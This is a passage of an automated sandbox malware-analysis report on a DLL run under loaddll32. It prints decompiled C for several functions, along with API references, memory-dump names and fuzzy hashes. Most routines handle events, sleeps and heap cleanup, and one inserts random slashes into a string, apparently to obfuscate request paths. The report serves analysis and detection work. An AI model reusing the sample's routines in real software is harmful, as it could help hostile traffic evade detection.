                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: ErrorEventLastReset$MultipleObjectsWait
                    • String ID:
                    • API String ID: 2394032930-0
                    • Opcode ID: de89d10125d2028fdaaa0c636297d2a7d0e3bc45cab75e64621f091812c49787
                    • Instruction ID: d5745db2166fc568d5d4229e4bca612f41082d0a1da5e04fe8554ef777b76402
                    • Opcode Fuzzy Hash: de89d10125d2028fdaaa0c636297d2a7d0e3bc45cab75e64621f091812c49787
                    • Instruction Fuzzy Hash: F9319232A40604AFCB12EFB5D864B6E77BABF84360F35456CE556A7290EB30E9458B10
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C49D0 Relevance: 6.1, APIs: 4, Instructions: 96synchronizationCOMMON
                    Download Yara Rule
                    C-Code - Quality: 87%
                    			E027C49D0(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0x27ca310; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x27ca348; // 0x10fd5a8
				_t3 = _t8 + 0x27cb7b4; // 0x61636f4c
				_t25 = 0;
				_t30 = E027C74EC(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x27ca34c, 1, 0, _t30);
					E027C61DA(_t30);
				}
				_t12 =  *0x27ca2fc; // 0x2000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E027C30D5() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E027C37DF(_t32, 0);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 =  *0x27ca124( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E027C23C4(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}














                    0x027c49d1
                    0x027c49d8
                    0x027c49e2
                    0x027c49e6
                    0x027c49ec
                    0x027c49fb
                    0x027c4a02
                    0x027c4a06
                    0x027c4a18
                    0x027c4a1a
                    0x027c4a1a
                    0x027c4a1f
                    0x027c4a26
                    0x027c4a7d
                    0x027c4a7d
                    0x027c4a83
                    0x027c4a85
                    0x027c4a85
                    0x027c4a8f
                    0x027c4a93
                    0x027c4aa5
                    0x027c4aa5
                    0x027c4aa9
                    0x027c4aaf
                    0x027c4aaf
                    0x00000000
                    0x027c4a3f
                    0x027c4a44
                    0x027c4a4c
                    0x027c4a50
                    0x027c4a54
                    0x027c4a54
                    0x027c4a61
                    0x027c4a65
                    0x027c4a69
                    0x027c4abe
                    0x027c4ac4
                    0x027c4ac4
                    0x027c4a77
                    0x027c4a7b
                    0x027c4ab2
                    0x027c4ab4
                    0x027c4ab7
                    0x027c4ab7
                    0x00000000
                    0x027c4ab4
                    0x027c4a7b
                    0x00000000
                    0x027c4a65

                    APIs
                      • Part of subcall function 027C74EC: lstrlen.KERNEL32(00000005,00000000,43175AC3,00000027,00000000,038C9DD8,00000000,?,?,43175AC3,00000005,027CA00C,4D283A53,?,?), ref: 027C7522
                      • Part of subcall function 027C74EC: lstrcpy.KERNEL32(00000000,00000000), ref: 027C7546
                      • Part of subcall function 027C74EC: lstrcat.KERNEL32(00000000,00000000), ref: 027C754E
                    • CreateEventA.KERNEL32(027CA34C,00000001,00000000,00000000,61636F4C,00000001,00000000,?,?,00000000,?,027C6A95,?,?,?), ref: 027C4A11
                      • Part of subcall function 027C61DA: RtlFreeHeap.NTDLL(00000000,00000000,027C6383,00000000,?,00000000,00000000), ref: 027C61E6
                    • WaitForSingleObject.KERNEL32(00000000,00004E20,027C6A95,00000000,00000000,?,00000000,?,027C6A95,?,?,?), ref: 027C4A71
                    • WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,?,?,00000000,?,027C6A95,?,?,?), ref: 027C4A9F
                    • CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,?,?,00000000,?,027C6A95,?,?,?), ref: 027C4AB7
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
                    • String ID:
                    • API String ID: 73268831-0
                    • Opcode ID: 01cba179fb9f0a3a8ae8ab6011ad5875306a6b70ac6b0712e1b061b2fa211b8a
                    • Instruction ID: edd2710013ef3a8def25a9dd36ee356bd974df6a6d131b7914366264b1e339f5
                    • Opcode Fuzzy Hash: 01cba179fb9f0a3a8ae8ab6011ad5875306a6b70ac6b0712e1b061b2fa211b8a
                    • Instruction Fuzzy Hash: 5421E432A403119BC7319A788C78A6F77E9FB88B29B35462DFE4197140DB30C8409B5C
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C69E6 Relevance: 6.1, APIs: 4, Instructions: 87sleepCOMMON
                    Download Yara Rule
                    C-Code - Quality: 39%
                    			E027C69E6(void* __ecx, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t38 = E027C2A3D(__ecx,  &_v32);
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t23 =  &(_t39[1]);
						if(_t39[1] != 0) {
							E027C28B3(_t23);
						}
					}
					return _t38;
				}
				if(E027C6ADC(0x40,  &_v16) != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x27ca34c, 1, 0,  *0x27ca3e4);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E027C5704(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E027C4C94(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E027C7220(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E027C49D0( &_v32, _t39);
					goto L13;
				}
			}












                    0x027c69e6
                    0x027c69f3
                    0x027c69f9
                    0x027c69fa
                    0x027c69fb
                    0x027c69fc
                    0x027c69fd
                    0x027c6a01
                    0x027c6a0d
                    0x027c6a11
                    0x027c6a99
                    0x027c6a99
                    0x027c6a9c
                    0x027c6a9e
                    0x027c6aa6
                    0x027c6aac
                    0x027c6aaf
                    0x027c6aaf
                    0x027c6aac
                    0x027c6aba
                    0x027c6aba
                    0x027c6a24
                    0x027c6a26
                    0x027c6a26
                    0x027c6a3d
                    0x027c6a41
                    0x027c6a44
                    0x027c6a4f
                    0x027c6a56
                    0x027c6a56
                    0x027c6a5f
                    0x027c6a63
                    0x027c6a71
                    0x027c6a65
                    0x027c6a65
                    0x027c6a66
                    0x027c6a67
                    0x027c6a68
                    0x027c6a69
                    0x027c6a6a
                    0x027c6a6a
                    0x027c6a76
                    0x027c6a79
                    0x027c6a7d
                    0x027c6a7f
                    0x027c6a7f
                    0x027c6a86
                    0x00000000
                    0x027c6a88
                    0x027c6a88
                    0x027c6a95
                    0x00000000
                    0x027c6a95

                    APIs
                    • CreateEventA.KERNEL32(027CA34C,00000001,00000000,00000040,?,?,74D0F710,00000000,74D0F730), ref: 027C6A37
                    • SetEvent.KERNEL32(00000000), ref: 027C6A44
                    • Sleep.KERNEL32(00000BB8), ref: 027C6A4F
                    • CloseHandle.KERNEL32(00000000), ref: 027C6A56
                      • Part of subcall function 027C5704: WaitForSingleObject.KERNEL32(00000000,?,?,?,027C6A76,?,027C6A76,?,?,?,?,?,027C6A76,?), ref: 027C57DE
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: Event$CloseCreateHandleObjectSingleSleepWait
                    • String ID:
                    • API String ID: 2559942907-0
                    • Opcode ID: c1fdeb3c0a89beca69d6f5b81cb664730a72aaf38ca9ff49d71681df64f31ac3
                    • Instruction ID: e857d291e44e58b97b3dd15b8f6054afdeb508f39304b2346b0aa8cc9b3184c1
                    • Opcode Fuzzy Hash: c1fdeb3c0a89beca69d6f5b81cb664730a72aaf38ca9ff49d71681df64f31ac3
                    • Instruction Fuzzy Hash: 0E216272D0011AAFDF21AFF498C89EE77BDEF84314B25C42DEE11A7100D735A9858BA4
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB9207C Relevance: 6.1, APIs: 4, Instructions: 82COMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 6CB93196: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6CB91581,?,00000000,-00000008), ref: 6CB93242
                    • GetLastError.KERNEL32 ref: 6CB920E0
                    • __dosmaperr.LIBCMT ref: 6CB920E7
                    • GetLastError.KERNEL32(?,?,?,?), ref: 6CB92121
                    • __dosmaperr.LIBCMT ref: 6CB92128
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: ErrorLast__dosmaperr$ByteCharMultiWide
                    • String ID:
                    • API String ID: 1913693674-0
                    • Opcode ID: d3f875a2cea19ebe2300704835e9e07e0c8080f7f20dd6710f4e587565d3bf76
                    • Instruction ID: da07abbc2b3a944f96d0f8f9fcc5f36f3665cc52e8dc8859b082165c7ad734a6
                    • Opcode Fuzzy Hash: d3f875a2cea19ebe2300704835e9e07e0c8080f7f20dd6710f4e587565d3bf76
                    • Instruction Fuzzy Hash: B9210171A44295AF9B109F66CC88C9FB7BEFF073A87048539E91897E10D730EC548B62
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C4461 Relevance: 6.1, APIs: 4, Instructions: 76sleepstringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 78%
                    			E027C4461(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0;
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E027C33DC(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16);
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}














                    0x027c446d
                    0x027c4471
                    0x027c4472
                    0x027c4473
                    0x027c4475
                    0x027c4477
                    0x027c447a
                    0x027c447f
                    0x027c4516
                    0x027c451d
                    0x027c451d
                    0x027c4488
                    0x027c448f
                    0x027c449f
                    0x027c449f
                    0x027c44a5
                    0x027c44a7
                    0x027c44ac
                    0x027c44b5
                    0x027c44bb
                    0x027c44c0
                    0x027c44cb
                    0x027c44cf
                    0x027c44d1
                    0x027c44d2
                    0x027c44db
                    0x027c44df
                    0x027c44f0
                    0x027c44e1
                    0x027c44e6
                    0x027c44eb
                    0x027c44fa
                    0x027c44fa
                    0x027c44cf
                    0x027c4500
                    0x027c4506
                    0x027c4506
                    0x027c450f
                    0x027c4514
                    0x027c4514
                    0x00000000

                    APIs
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: FreeSleepStringlstrlenmemcpy
                    • String ID:
                    • API String ID: 1198164300-0
                    • Opcode ID: d0cc75c1dcabd43f4bb36aab8446cc226e9ded94cbdfd785297522ce5b738d40
                    • Instruction ID: fac405f8558a76e56e82d270072995b7cdfe5b1ef2f5cf6b5ad78dd77583269b
                    • Opcode Fuzzy Hash: d0cc75c1dcabd43f4bb36aab8446cc226e9ded94cbdfd785297522ce5b738d40
                    • Instruction Fuzzy Hash: F121307590021AEFDB11DFB4D9A899EBBB5FF48314B30816DE905A7200EB30DA41CB50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB93284 Relevance: 6.1, APIs: 4, Instructions: 74COMMON
                    Download Yara Rule
                    APIs
                    • GetEnvironmentStringsW.KERNEL32 ref: 6CB9328C
                      • Part of subcall function 6CB93196: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6CB91581,?,00000000,-00000008), ref: 6CB93242
                    • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6CB932C4
                    • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6CB932E4
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: EnvironmentStrings$Free$ByteCharMultiWide
                    • String ID:
                    • API String ID: 158306478-0
                    • Opcode ID: c82a35cb719c094a65d3cf9c61284bc88c9b772304b32c3a33506230dca9b544
                    • Instruction ID: e598d095b9471e8c5c8fe1adc99c2202abb55243e9280ef11a9e6beec9e3a080
                    • Opcode Fuzzy Hash: c82a35cb719c094a65d3cf9c61284bc88c9b772304b32c3a33506230dca9b544
                    • Instruction Fuzzy Hash: D111A1A2A495A57FAA011BB65D8CCAF797CDE472AC7480135F80893A00EF30DD048572
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C2708 Relevance: 6.1, APIs: 4, Instructions: 61memorystringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 68%
                    			E027C2708(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x27ca2d8, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x27ca2f0; // 0x5a75a76f
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x27ca2f0 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

















                    0x027c2710
                    0x027c2713
                    0x027c2719
                    0x027c2731
                    0x027c2733
                    0x027c2738
                    0x027c273a
                    0x027c273d
                    0x027c273f
                    0x027c2742
                    0x027c2744
                    0x027c2744
                    0x027c2746
                    0x027c2751
                    0x027c2756
                    0x027c2767
                    0x027c276f
                    0x027c2774
                    0x027c2777
                    0x027c277a
                    0x027c277c
                    0x027c277f
                    0x027c2782
                    0x027c2782
                    0x027c2785
                    0x027c2790
                    0x027c2795
                    0x027c279f

                    APIs
                    • lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,027C6708,00000000,?,7491C740,027C3ECE,00000000,038C9600), ref: 027C2713
                    • RtlAllocateHeap.NTDLL(00000000,?), ref: 027C272B
                    • memcpy.NTDLL(00000000,038C9600,-00000008,?,?,?,027C6708,00000000,?,7491C740,027C3ECE,00000000,038C9600), ref: 027C276F
                    • memcpy.NTDLL(00000001,038C9600,00000001,027C3ECE,00000000,038C9600), ref: 027C2790
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: memcpy$AllocateHeaplstrlen
                    • String ID:
                    • API String ID: 1819133394-0
                    • Opcode ID: 679282171042fa3ee89d8600b4098b6dd96ebdc7b659cca83fe24aa26b3ad6f6
                    • Instruction ID: 5dc93ec1b7aa75b9493c9609f9339f6f951bcb87f01fa6fa7ab412f3eff90550
                    • Opcode Fuzzy Hash: 679282171042fa3ee89d8600b4098b6dd96ebdc7b659cca83fe24aa26b3ad6f6
                    • Instruction Fuzzy Hash: 3311E372A00216ABD7108E79DD88D9ABBAAEB80361B24417EE90497240E7719E1087A0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C7843 Relevance: 6.0, APIs: 4, Instructions: 40COMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E027C7843(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}






                    0x027c784d
                    0x027c7851
                    0x027c7866
                    0x027c7868
                    0x027c786d
                    0x027c7873
                    0x027c7875
                    0x027c787a
                    0x027c7885
                    0x027c787c
                    0x027c787c
                    0x027c787c
                    0x027c787a
                    0x027c7893

                    APIs
                    • memset.NTDLL ref: 027C7851
                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,74CF81D0,00000000,00000000), ref: 027C7866
                    • CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 027C7873
                    • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,027C3F34,00000000,?), ref: 027C7885
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: CreateEvent$CloseHandlememset
                    • String ID:
                    • API String ID: 2812548120-0
                    • Opcode ID: dbbf24f5d4e68300b4864d0cc39167555ce3a3226dbe14012b6883a81adeba93
                    • Instruction ID: cad099932f699303cf460b0e9a06d7cc1d866af15414de0f2071d8e3850edc8a
                    • Opcode Fuzzy Hash: dbbf24f5d4e68300b4864d0cc39167555ce3a3226dbe14012b6883a81adeba93
                    • Instruction Fuzzy Hash: 89F030B1504308AFD2145F359C84837FBECEB812987218D2DB64291111C671A8548E60
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C3230 Relevance: 6.0, APIs: 4, Instructions: 29memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E027C3230() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x27ca30c; // 0x218
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x27ca35c; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x27ca30c; // 0x218
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x27ca2d8; // 0x34d0000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}








                    0x027c3230
                    0x027c3237
                    0x027c3281
                    0x027c3283
                    0x027c3283
                    0x027c323b
                    0x027c3241
                    0x027c3246
                    0x027c324a
                    0x027c3250
                    0x027c3257
                    0x00000000
                    0x00000000
                    0x027c3259
                    0x027c325e
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c325e
                    0x027c3260
                    0x027c3268
                    0x027c326b
                    0x027c326b
                    0x027c3271
                    0x027c3278
                    0x027c327b
                    0x027c327b
                    0x00000000

                    APIs
                    • SetEvent.KERNEL32(00000218,00000001,027C109A), ref: 027C323B
                    • SleepEx.KERNEL32(00000064,00000001), ref: 027C324A
                    • CloseHandle.KERNEL32(00000218), ref: 027C326B
                    • HeapDestroy.KERNEL32(034D0000), ref: 027C327B
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: CloseDestroyEventHandleHeapSleep
                    • String ID:
                    • API String ID: 4109453060-0
                    • Opcode ID: 6de03c16c450d1835ceb7cfd0ce39fc5ab64254d69af28be40ea5a7b3a04b02b
                    • Instruction ID: ac1cab97864744427512da0a206ed8790558dae434f440d71bcd7df0dd71ea26
                    • Opcode Fuzzy Hash: 6de03c16c450d1835ceb7cfd0ce39fc5ab64254d69af28be40ea5a7b3a04b02b
                    • Instruction Fuzzy Hash: 99F01C75E80252D7DF505A359988A9337E8AB04762B34C99CBD00E2288DB30D49086A0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C5364 Relevance: 6.0, APIs: 4, Instructions: 29sleepmemoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 50%
                    			E027C5364(void** __esi) {
				intOrPtr _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t10;
				void* _t11;
				void** _t13;

				_t13 = __esi;
				_t4 =  *0x27ca3cc; // 0x38c9600
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x27ca3cc; // 0x38c9600
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t13;
				if(_t8 != 0 && _t8 != 0x27ca030) {
					HeapFree( *0x27ca2d8, 0, _t8);
				}
				_t13[1] = E027C12C6(_v0, _t13);
				_t10 =  *0x27ca3cc; // 0x38c9600
				_t11 = _t10 + 0x40;
				__imp__(_t11);
				return _t11;
			}










                    0x027c5364
                    0x027c5364
                    0x027c536d
                    0x027c537d
                    0x027c537d
                    0x027c5382
                    0x027c5387
                    0x00000000
                    0x00000000
                    0x027c5377
                    0x027c5377
                    0x027c5389
                    0x027c538d
                    0x027c539f
                    0x027c539f
                    0x027c53af
                    0x027c53b2
                    0x027c53b7
                    0x027c53bb
                    0x027c53c1

                    APIs
                    • RtlEnterCriticalSection.NTDLL(038C95C0), ref: 027C536D
                    • Sleep.KERNEL32(0000000A), ref: 027C5377
                    • HeapFree.KERNEL32(00000000,00000000), ref: 027C539F
                    • RtlLeaveCriticalSection.NTDLL(038C95C0), ref: 027C53BB
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                    • String ID:
                    • API String ID: 58946197-0
